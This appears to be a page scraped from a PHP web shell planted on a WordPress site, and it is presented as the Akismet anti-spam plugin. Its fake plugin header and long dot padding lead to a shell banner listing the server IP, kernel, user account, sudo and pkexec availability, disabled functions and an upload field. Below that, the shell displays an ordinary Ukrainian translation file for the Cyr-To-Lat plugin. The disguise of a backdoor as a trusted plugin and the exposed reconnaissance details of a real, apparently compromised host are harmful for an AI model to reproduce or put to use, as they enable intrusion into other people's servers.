#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/ |
Upload File : |
# Translation of Plugins - Cyr-To-Lat - Stable (latest release) in Ukrainian
# This file is distributed under the same license as the Plugins - Cyr-To-Lat - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-04-03 10:50:38+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : ((n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % 100 > 14)) ? 1 : 2);\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: uk_UA\n"
"Project-Id-Version: Plugins - Cyr-To-Lat - Stable (latest release)\n"
#. translators: 1: Site locale. Do not touch text in {}
#: src/php/Settings/Tables.php:171
msgid "Active table \"{active_table}\" does not match the current site locale: \"%1$s\". The \"%2$s\" table will be used for transliteration."
msgstr "Активна таблиця \"{active_table}\" не відповідає поточній локалі сайту: \"%1$s\". Для транслітерації буде використано таблицю \"%2$s\"."
#. Plugin URI of the plugin
#: cyr-to-lat.php
msgid "https://kagg.eu/cyr-to-lat/"
msgstr "https://kagg.eu/cyr-to-lat/"
#: src/php/Settings/Tables.php:98
msgid "Chinese (China)"
msgstr "Китайська (КНР)"
#: src/php/Settings/Tables.php:97
msgid "Hebrew"
msgstr "Іврит"
#: src/php/Settings/Tables.php:96
msgid "Kazakh"
msgstr "Казахська"
#: src/php/Settings/Tables.php:95
msgid "Georgian"
msgstr "Грузинська"
#: src/php/Settings/Tables.php:94
msgid "Armenian"
msgstr "Вірменська"
#: src/php/Settings/Tables.php:93
msgid "Greek"
msgstr "Грецька"
#: src/php/Settings/Tables.php:92
msgid "Serbian"
msgstr "Сербська"
#: src/php/Settings/Tables.php:91
msgid "Macedonian"
msgstr "Македонська"
#: src/php/Settings/Tables.php:90
msgid "Bulgarian"
msgstr "Болгарська"
#: src/php/Settings/Tables.php:89
msgid "Ukrainian"
msgstr "Українська"
#: src/php/Settings/Tables.php:88
msgid "Belarusian"
msgstr "Білоруська"
#: src/php/Settings/Tables.php:87
msgid "Default"
msgstr "За замовчуванням"
#: src/php/Settings/Tables.php:199
msgid "You are not allowed to perform this action."
msgstr "Вам заборонено виконувати цю дію."
#: src/php/Settings/Tables.php:194
msgid "Your session has expired. Please reload the page."
msgstr "Ваш сеанс закінчився. Перезавантажте сторінку."
#: src/php/Settings/SystemInfo.php:93
msgid "Copy system info to clipboard"
msgstr "Копіювати інформацію про систему в буфер обміну"
#: src/php/Settings/SystemInfo.php:89
msgid "System Information"
msgstr "Системна інформація"
#: src/php/Settings/SystemInfo.php:69
msgid "System info copied to clipboard."
msgstr "Інформацію про систему скопійовано в буфер обміну."
#: src/php/Settings/SystemInfo.php:41
msgid "System Info"
msgstr "Інформація про систему"
#. translators: 1: plugin version.
#: src/php/Settings/PluginSettingsBase.php:232
msgid "Version %s"
msgstr "Версія %s"
#. translators: 1: plugin name, 2: wp.org review link with stars, 3: wp.org
#. review link with text.
#: src/php/Settings/PluginSettingsBase.php:197
msgid "Please rate %1$s %2$s on %3$s. Thank you!"
msgstr "Оцініть %1$s %2$s на %3$s. дякую!"
#: src/php/Settings/Converter.php:206
msgid "Post Types and Statuses"
msgstr "Типи та статуси запису"
#: libs/wp-background-processing/wp-background-process.php:575
msgid "Every Minute"
msgstr "Кожну хвилину"
#: src/php/Settings/Tables.php:48
msgid "Tables"
msgstr "Таблиці"
#: src/php/Settings/Converter.php:257
msgid "Upon conversion of attachments, please regenerate thumbnails."
msgstr "Після конвертації вкладень, будь ласка, повторно створіть мініатюри."
#: src/php/Settings/Converter.php:248
msgid ""
"Also, you have to make a copy of your media files if the attachment post type is selected for\n"
"\t\t\t\tconversion."
msgstr ""
"Крім того, ви повинні зробити копію ваших медіафайлів, якщо вибрано тип запису вкладення\n"
"конвертація."
#: src/php/Settings/Converter.php:198
msgid "Existing <strong>product attribute</strong> slugs will <strong>NOT</strong> be converted."
msgstr "Існуючі <strong>частини посилання на товар</strong> <strong>НЕ будуть</strong> перетворені."
#: src/php/Settings/Converter.php:192
msgid "Existing Slugs Conversion Settings"
msgstr "Існуючі налаштування перетворення Slugs"
#: src/php/Settings/Converter.php:73
msgid "Post statuses included in the conversion."
msgstr "Статуси запису включені в перетворення."
#: src/php/Settings/Converter.php:69
msgid "Post Statuses"
msgstr "Статуси записів"
#: src/php/Settings/Converter.php:129
msgid "Post types included in the conversion."
msgstr "Типи записів, що включаються в конвертацію."
#: src/php/Settings/Converter.php:125
msgid "Post Types"
msgstr "Типи записів"
#: src/php/Settings/Converter.php:40
msgid "Converter"
msgstr "Перетворювач"
#: src/php/Settings/Converter.php:270
msgid "Cancel"
msgstr "Скасувати"
#: src/php/Settings/Converter.php:267
msgid "OK"
msgstr "OK"
#: src/php/Settings/Converter.php:263
msgid "Are you sure to continue?"
msgstr "Ви впевнені, що хочете продовжити?"
#: src/php/Settings/Converter.php:240
msgid "This operation is irreversible. Please make sure that you have made a backup copy of your database."
msgstr "Ця операція необоротна. Будь ласка, переконайтеся, що ви зробили резервну копію вашої бази даних."
#: src/php/Settings/Converter.php:238
msgid "Important:"
msgstr "Важливо:"
#: src/php/Settings/Tables.php:219
msgid "Options saved."
msgstr "Налаштування збережено."
#: src/php/BackgroundProcesses/PostConversionProcess.php:130
msgid "Cannot rename thumbnail file:"
msgstr "Не вдається перейменувати файл мініатюр:"
#: src/php/BackgroundProcesses/PostConversionProcess.php:127
msgid "Thumbnail file renamed:"
msgstr "Файл мініатюри перейменовано:"
#: src/php/BackgroundProcesses/PostConversionProcess.php:109
msgid "Cannot convert attachment file for attachment id:"
msgstr "Не вдається перетворити файл вкладення для ідентифікатора вкладення:"
#: src/php/BackgroundProcesses/PostConversionProcess.php:103
msgid "Attachment file converted:"
msgstr "Перетворений файл вкладення:"
#: src/php/Settings/Tables.php:122
msgid "(current)"
msgstr "(поточна)"
#: src/php/Requirements.php:245
msgid "See: <a href=\"https://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit\" target=\"_blank\">Increasing max input vars limit.</a>"
msgstr "Див.: <a href=\"https://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit\" target=\"_blank\">Збільшення максимального ліміту змінних введення.</a>"
#: src/php/Requirements.php:242
msgid "Please increase max input vars limit up to 1500."
msgstr "Будь ласка, збільште ліміт max input vars до 1500."
#. translators: 1: Wait time in seconds
#: src/php/Requirements.php:177
msgid "Please try again in %d s."
msgstr "Будь ласка, спробуйте знову через %d сек."
#. translators: 1: .user.ini filename
#: src/php/Requirements.php:174
msgid "We have updated settings in %s."
msgstr "Ми оновили налаштування в %s."
#. translators: 1: max_input_vars value, 2: Cyr To Lat version, 3: Minimum
#. required max_input_vars
#: src/php/Requirements.php:170
msgid "Your server is running PHP with max_input_vars=%1$d but Cyr To Lat %2$s requires at least %3$d."
msgstr "На вашому сервері працює PHP з max_input_vars = %1$d, але Cyr To Lat %2$s вимагає принаймні %3$d."
#: src/php/Requirements.php:117
msgid "Cyr To Lat plugin has been deactivated."
msgstr "Плагін деактивовано."
#: src/php/Requirements.php:153
msgid "Unable to get filesystem access."
msgstr "Неможливо отримати доступ до файлової системи."
#: libs/wp-background-processing/wp-background-process.php:577
msgid "Every %d Minutes"
msgstr "Кожні %d хвилин"
#. translators: 1: Current PHP version number, 2: Cyr To Lat version, 3:
#. Minimum required PHP version number
#: src/php/Requirements.php:132
msgid "Your server is running PHP version %1$s but Cyr To Lat %2$s requires at least %3$s."
msgstr "На вашому сервері встановлена версія PHP %1$s, але Cyr To Lat %2$s вимагає принаймні %3$s."
#: src/php/Converter.php:262
msgid "Cyr To Lat has not found existing term slugs for conversion."
msgstr "Cyr To Lat не знайшов існуючих посилань термінів для конвертації."
#: src/php/Converter.php:275
msgid "Cyr To Lat started conversion of existing term slugs."
msgstr "Cyr To Lat почав конвертацію існуючих посилань термінів."
#: src/php/Converter.php:273
msgid "Term slugs conversion started."
msgstr "Розпочато конвертацію посилань термінів."
#: src/php/Converter.php:225
msgid "Cyr To Lat has not found existing post slugs for conversion."
msgstr "Cyr To Lat не знайшов існуючих посилань записів для конвертації."
#: src/php/Converter.php:238
msgid "Cyr To Lat started conversion of existing post slugs."
msgstr "Cyr To Lat почав конвертацію існуючих посилань записів."
#: src/php/Converter.php:236
msgid "Post slugs conversion started."
msgstr "Розпочато конвертація посилань записів."
#: src/php/Converter.php:134
msgid "Cyr To Lat completed conversion of existing term slugs."
msgstr "Cyr To Lat завершив конвертацію існуючих посилань термінів."
#: src/php/Converter.php:127
msgid "Cyr To Lat completed conversion of existing post slugs."
msgstr "Cyr To Lat завершив конвертацію існуючих посилань записів."
#: src/php/Converter.php:120
msgid "Cyr To Lat converts existing term slugs in the background process."
msgstr "Cyr To Lat конвертує існуючі посилання термінів у фоновому процесі."
#: src/php/Converter.php:113
msgid "Cyr To Lat converts existing post slugs in the background process."
msgstr "Cyr To Lat конвертує існуючі посилання записів у фоновому процесі."
#: src/php/BackgroundProcesses/PostConversionProcess.php:204
msgid "Post slugs conversion completed."
msgstr "Конвертація посилань записів завершена."
#: src/php/BackgroundProcesses/PostConversionProcess.php:74
msgid "Post slug converted:"
msgstr "Посилання запису конвертовано:"
#: src/php/BackgroundProcesses/TermConversionProcess.php:91
msgid "Term slugs conversion completed."
msgstr "Конвертація посилань термінів завершена."
#: src/php/BackgroundProcesses/TermConversionProcess.php:75
msgid "Term slug converted:"
msgstr "Посилання терміну конвертовано:"
#: src/php/Settings/PluginSettingsBase.php:37
#: src/php/Settings/PluginSettingsBase.php:158
msgid "Cyr To Lat"
msgstr "Cyr To Lat"
#: src/php/Settings/Converter.php:176
msgid "Convert Existing Slugs"
msgstr "Конвертувати існуючі посилання"
#: src/php/Settings/PluginSettingsBase.php:118
msgid "Settings"
msgstr "Налаштування"
#: src/php/Settings/PluginSettingsBase.php:109
msgid "View Cyr To Lat settings"
msgstr "Подивитися налаштування Cyr To Lat"
#. Author URI of the plugin
#: cyr-to-lat.php
msgid "https://profiles.wordpress.org/sergeybiryukov/"
msgstr "https://profiles.wordpress.org/sergeybiryukov/"
#. Author of the plugin
#: cyr-to-lat.php
msgid "Sergey Biryukov, Mikhail Kobzarev, Igor Gergel"
msgstr "Сергій Бірюков, Михайло Кобзаров, Ігор Гергель"
#. Description of the plugin
#: cyr-to-lat.php
msgid "Convert Non-Latin characters in post and term slugs to Latin characters. Useful for creating human-readable URLs. Based on the original plugin by Anton Skorobogatov."
msgstr "Перетворює не-латинські символи в посиланнях записів, сторінок і категорій в латинські. Корисно для створення людинозрозумілих URL. Засновано на оригінальному плагіні від Антона Скоробогатова."
#. Plugin Name of the plugin
#: cyr-to-lat.php
msgid "Cyr-To-Lat"
msgstr "Cyr-To-Lat"